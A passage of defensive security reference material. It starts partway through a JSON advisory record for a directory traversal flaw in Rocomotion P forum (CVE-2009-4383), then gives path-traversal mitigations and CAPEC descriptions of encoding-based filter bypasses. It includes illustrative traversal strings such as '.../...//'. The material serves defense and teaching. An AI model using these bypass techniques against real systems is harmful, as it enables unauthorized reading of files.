"nvd_published_at": "2009-12-22T23:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in Pforum.php in Rocomotion P forum before 1.28 allows remote attackers to read arbitrary files via directory traversal sequences in unspecified vectors.",
"id": "GHSA-qqr4-448h-mfpg",
"modified": "2022-05-02T03:54:09Z",
"published": "2022-05-02T03:54:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4383"
},
{
"type": "WEB",
"url": "http://another.rocomotion.jp/12568911093444.html"
},
{
"type": "WEB",
"url": "http://another.rocomotion.jp/12604561773482.html"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN00152874/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-000084.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/37691"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.